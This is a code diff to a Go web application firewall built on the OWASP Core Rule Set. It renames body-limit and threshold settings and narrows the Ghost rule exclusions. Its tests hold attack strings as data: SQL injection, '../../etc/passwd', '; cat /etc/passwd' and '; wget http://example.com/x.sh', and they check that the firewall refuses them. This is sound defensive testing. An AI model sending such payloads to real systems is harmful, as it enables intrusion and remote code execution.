@@ -346,14 +345,14 @@ type CoreRuleSet struct {
// New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' body inspection size, and with params'
// exclusions file loaded before the Core Rule Set's rules. An exclusions
// file is an error if it cannot be read or does not parse, or if
// checkExclusions refuses it.
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyInspectionSize > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
exclusions := ""
@@ -397,9 +396,9 @@ func New(params Params) (*CoreRuleSet, error) {
}
return &CoreRuleSet{
engine: engine,
bodyInspectionSize: params.BodyInspectionSize,
appsByHostname: params.Apps,
engine: engine,
bodyLimit: params.BodyLimit,
appsByHostname: params.Apps,
}, nil
}
@@ -482,19 +481,18 @@ func (c *CoreRuleSet) Inspect(
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
// set and the body is of a kind the Core Rule Set reads: form data and
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
// JSON and XML, which it reads only when they are no longer than that,
// since they cannot be read in part.
// readBody reads one byte past c.bodyInspectionSize, to tell which they
// are, gives the Core Rule Set what it reads, and returns what it read and
// the error that ended the reading early, if one did.
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyInspectionSize == 0 {
if c.bodyLimit == 0 {
return nil, nil
}
@@ -511,9 +509,9 @@ func (c *CoreRuleSet) readBody(
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
+36 -53
View File
@@ -919,10 +919,6 @@ const retypeKey = "retype"
// system files (930120) holds.
const htaccess = ".htaccess"
// binSh is the shell path /bin/sh as a query or form value, which the rule for
// shell paths (932160) refuses.
const binSh = "%2Fbin%2Fsh"
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
@@ -1093,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})()
if err != nil {
return nil, err
@@ -1171,18 +1166,15 @@ func misfiringPasswords(t *testing.T) []string {
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
names := []string{name}
body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -1205,7 +1197,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
@@ -1225,7 +1217,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, []string{name}, attack)
@@ -1315,7 +1307,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
@@ -1372,7 +1364,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
func TestPasswordExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
@@ -1408,7 +1400,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
func TestGiteaAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
@@ -1488,7 +1480,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
}
// A command after a ";" in q is still refused on each of these paths.
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
for _, target := range []string{
"/alice?tab=repositories&q=",
@@ -1513,12 +1505,12 @@ const (
)
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
})
}
@@ -1580,7 +1572,7 @@ func wordpressAttackTargets(attack string) []string {
func TestWordPressAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
@@ -2318,9 +2310,8 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
// tests that read bodies.
const bodyInspectionSize = 8 << 10
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
@@ -2343,13 +2334,12 @@ const pathTraversal = "../../etc/passwd"
const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyInspectionSize.
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
}
@@ -2403,7 +2393,7 @@ func wantBody(
}
}
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
@@ -2423,7 +2413,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyInspectionSize)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
@@ -2436,20 +2426,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyInspectionSize+1])
tc.attackFirst[:bodyLimit+1])
wantBody(
t,
crs,
post(tc.header),
tc.attackLast,
coreruleset.Result{},
tc.attackLast[:bodyInspectionSize+1],
tc.attackLast[:bodyLimit+1],
)
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(
t,
crs,
@@ -2459,7 +2449,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
atLimit,
)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(
t,
crs,
@@ -2479,10 +2469,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyInspectionSize)
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(
t,
crs,
@@ -2539,7 +2529,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyInspectionSize+1)
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
@@ -2758,7 +2748,7 @@ func giteaBranchNamesInBodies() []nameInBody {
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
@@ -2859,7 +2849,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
@@ -2877,7 +2867,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyInspectionSize+1])
body[:bodyLimit+1])
}
}
@@ -2890,10 +2880,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
cut := "--b\r\nContent-Di"
first := field(
"pad",
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-len(cut),
),
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
)
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
@@ -2903,7 +2890,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
post(multipart),
body,
matched(900440, 900450),
body[:bodyInspectionSize+1],
body[:bodyLimit+1],
)
}
@@ -2922,15 +2909,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field(
"pad",
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-cut,
),
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
)
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyInspectionSize+1])
body[:bodyLimit+1])
}
}
@@ -2945,8 +2929,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
// The test loads its own Core Rule Set, since loading is part of what
// it checks.
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
@@ -2958,11 +2941,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
wantBody(t, crs, post(multipart), body, matched(942100), body)
}
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := coreruleset.New(
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
)
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
+1 -1
View File
@@ -4,7 +4,7 @@
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
# set. The exclusions above the comment "The fields below are in bodies" also
# cover a body field of the same name whatever the query holds, and only those
# below it need a query without that name.
+1 -1
View File
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
const drupalThreshold = 5
// drupalAddArticle is Drupal's form for a new article.
+1 -1
View File
@@ -132,7 +132,7 @@ SecRule REQUEST_FILENAME "@streq /admin/repos" \
# They skip these rules:
# 932120: fix-powershell-module
# 932260: feat/docker-support
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, and skip
# They are read only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, and skip
# nothing when the query has a parameter of the same name.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
"id:900666,phase:1,pass,nolog,chain"
+3 -3
View File
@@ -91,7 +91,7 @@ var forgejoAttacks = []string{
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
@@ -113,7 +113,7 @@ func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
@@ -145,7 +145,7 @@ func TestForgejoExclusionsAreNarrow(t *testing.T) {
"/alice/-/packages/npm/x?q=",
"/alice/tools/branches?other=",
} {
for _, value := range slices.Concat([]string{binSh}, hardValues) {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
+8 -267
View File
@@ -3,12 +3,11 @@
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request a rule refused. An exclusion on a field of
# a body applies only when the query has no parameter of that name, so it
# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
#
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
# and members call /members/api/. The admin calls ActivityPub, a service of its
# own, under /.ghost/activitypub/. Coraza names a field of a JSON body by its
# and members call /members/api/. Coraza names a field of a JSON body by its
# path, so the title of the first post saved is json.posts.0.title.
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
@@ -18,22 +17,11 @@
SecRule &TX:app_ghost "@eq 0" \
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
# filter, a query in Ghost's own filter language, skips seven rules on the
# Admin API and the Content API:
# 932120: filter=tag:powershell, filter=name:~'powershell'
# 932125, 932230, 932250: filter=title:~'powershell & ls -la'
# 932235, 932260: filter=title:~'powershell & python3', which the admin's
# post picker sends when a person types that title
# 932380: filter=title:~'python3 & powershell'
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
"id:900350,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:filter,\
ctl:ruleRemoveTargetById=932125;ARGS:filter,\
ctl:ruleRemoveTargetById=932230;ARGS:filter,\
ctl:ruleRemoveTargetById=932235;ARGS:filter,\
ctl:ruleRemoveTargetById=932250;ARGS:filter,\
ctl:ruleRemoveTargetById=932260;ARGS:filter,\
ctl:ruleRemoveTargetById=932380;ARGS:filter"
ctl:ruleRemoveTargetById=932120;ARGS:filter"
# search, the search for a member by name or address, skips four rules on the
# Admin API:
@@ -57,61 +45,10 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The query fields that filter the analytics skip the eight rules that 900353
# lists, on /ghost/api/admin/stats/:
# 932120: source=powershell.example.com
# 932235, 932260: utm_campaign=powershell & python3
# 932250: utm_term=ls -la
# These fields filter the figures by the site a visit came from, or a
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
# utm_term.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900367,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
# pathname, the page the analytics show, skips three rules on
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
# 930120: pathname=/tag/proc/
# 932120: pathname=/python3-and-powershell/
# 932260: pathname=/tag/python3/
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
"id:900385,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
# email_segment, the members a post is sent to as a newsletter, skips 932120
# on the Admin API's posts: email_segment=label:powershell-users.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
"id:900368,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
# query, a search for an account in ActivityPub, skips the eight rules that
# 900353 lists: query=python3, query=@powershell@example.com.
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
"id:900369,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:query,\
ctl:ruleRemoveTargetById=932120;ARGS:query,\
ctl:ruleRemoveTargetById=932125;ARGS:query,\
ctl:ruleRemoveTargetById=932230;ARGS:query,\
ctl:ruleRemoveTargetById=932235;ARGS:query,\
ctl:ruleRemoveTargetById=932250;ARGS:query,\
ctl:ruleRemoveTargetById=932260;ARGS:query,\
ctl:ruleRemoveTargetById=932380;ARGS:query"
# The fields a person types plain text into skip eight rules on the Admin API,
# which refused words that name commands and files:
# The fields a person types plain text into skip seven rules on the Admin API:
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
# 932120: the page's slug about-python3-powershell-htaccess
# 932125, 932230, 932250: the tag "Linux & ls -la"
# 932235: the title "powershell & python3"
# 932260: the tag python3
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
# These fields hold plain text:
@@ -127,12 +64,11 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
# name, the name a member saves at /members/api/, skips the same eight rules.
# name, the name a member saves at /members/api/, skips the same seven rules.
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
"id:900359,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
@@ -140,99 +76,10 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
# More fields of plain text skip the same eight rules on the Admin API, which
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
# "powershell & python3 deal" in them:
# users.<n>.name, slug, bio, location and website, a staff user's profile
# setup.<n>.blogTitle and name, creating the first staff user
# invitation.<n>.name, accepting a staff invitation
# tiers.<n>.name, description and benefits
# offers.<n>.name, code, display_title and display_description
# recommendations.<n>.title, description and excerpt
# integrations.<n>.name and description, and webhooks.<n>.name
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
# of pages
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
"id:900370,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
# A member's comment, html at /members/api/comments/, skips the same eight
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
